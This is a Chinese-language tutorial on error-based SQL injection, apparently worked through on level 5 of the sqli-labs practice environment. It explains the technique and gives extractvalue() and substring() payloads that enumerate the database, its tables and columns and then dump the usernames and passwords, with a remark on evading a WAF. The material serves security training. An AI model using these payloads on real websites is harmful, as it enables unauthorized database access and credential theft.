1.首先用户在前台输入一个检索内容,比如?id=1
2.后台将前台输入的内容不加任何区分的拼接到查询语句中,发送给数据库进行查询
3.数据库将查询的结果返回给后台,后台将数据库执行的结果无加区别的显示到前台页面上
两个无加区别,进去没有做检测过滤,出来也没有做检测就直接给前台 。意思就是怎么进去的就怎么出来的。
报错注入的前提条件:界面有回显报错提示
1.介绍
less-5
首先我们在第五关输入一个检索内容?id=1
她的命令是正常执行了 ,但是她是界面只给你显示 you are in...
然后我们随便丢一个单引号进去,看他会不会报错。
从她的报错回显我们发现她的闭合方式是 ' 单引号闭合
我们知道她的闭合方式以后使用 group by 或者order by 查询字段数,故意输入一个不存在的字段数,比如5,让他故意报错,这时她报错的结果就会给你回显出来
假设我们通过查询字段数,确定了她的字段数为3
点击执行
执行之后,你会发现命令是正常执行了,但是页面不给你回显结果。但是她的报错信息会给你进行回显,我们就可以利用报错信息来去得到我们想要的东西。
比如说我这里故意把这里的database给写错写成datadase,在点击执行,她就会发现FUNCTION security.dataease does not exist 意思是我们dataease 不存在。
但是她这里就爆出了 security.数据库的名称。
为什么觉得security.数据库的名称呢?
因为她如果去查询我们输入的datadase(),她肯定是要进入数据库去查询到,但是却又在数据库找不到她就直接回显
所有的报错基本都是在我让他报错回显之前,执行了我让他执行的某一条命令,从而在报错回显的时候,把我们命令所执行的结果回显到我们当前的页面来
总结:报错注入用于的场景,一般都是首先你判断出一个站点她有注入点,但是但你使用像union 这种直接查询的语句,你的命令进行执行了,但是页面不给你回显结果,但是她确有报错的回显,所以我们就通过她的报错回显来查询我们需要的东西。
2.通过extractvalue()报错注入
函数:extractvalue(1,2)
这个函数一共包含两个参数
1:第一个 参数XML文档对象名称
2.第二个参数路径
extractvalue()注入写法
extractvalue(1,concat(1,2))
第一个参数:随便写不是重点
第二个参数:concat(1,2)
1.第一个参数(0x7e或者 '~' )
2.第二个参数( (select 你想查询的信息比如 select dabatase() 等) )
案例演示
1.确定字段数
报错
确定字段为3
2.获取数据库名
1. ?id=1' and extractvalue(1,concat(0x7e,(select database()))) --+
2. ?id=1' union select 1,2,extractvalue(1,concat(0x7e,(select database()))) --+
备注:使用union的话,只要确定她有几个字段就好,不用确定他显示的字段,比如这里确定3个字段,你在就哪个字段把extractvalue()语句放进去都可以、
第一种方式不用确定字段,只要确定有报错的回显就行
数据库名为:security
3.获取数据库所有表名
1. ?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()))) --+
2. ?id=1' union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database()))) --+
注:这里的table_schema=database() 这里写在实际情况下比较好绕过waf
使用table_shema='security'也可以的
emails
referers
uagents
users
4.获取member数据表中的所有字段信息
1. ?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_Schema=database() and table_name='users'))) --+
2.?id=1' union select 1,2, extractvalue(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users'))) --+
字段为
id
username
password
5.脱库
1. ?id=1' union select 1,2,extractvalue(1,concat(0x7e,(select group_concat(username,'--',password)from security.users)))--+
2.?id=1' and extractvalue(1,concat(0x7e,(select group_concat(username,'--',password)from security.users))) --+
但是查询的结果不完整
因为报错注入他只能返回32个字符串。所以我们就得使用Substring函数进行解决
6.使用substring函数进行脱库(解决只返回32个字符串的问题)
substring介绍
函数 Substring
Substring(str,n,l):截取字符串str,从第n个字符开始截取,截取长度为l个字符
截取字符串123456,从1的位置开始截取,截取字符串为3
输出结果123
从4的位置开始截,截取3个字符
输出的是456
1. ?id=1' and extractvalue(1,concat(0x7e,substring((select group_concat(username,'--',password)from security.users),1,30))) --+
2.?id=1' union select 1,2,extractvalue(1,concat(0x7e,substr((select group_concat(password,'--','username')from security.users),1,32)))--+
更改substring的参数就可以 看后面的内容
再把之前显示不完全的整理到一起就可以了
书写小技巧:
直接把(select group_concat(password,’--’,username)from security.users)复制下来
Substring(1,2,3)
Substring(1,1,32)你需要查看的位置
Substring((select group_concat(password,’--’,username)from security.users),1,32) 在把内容复制进去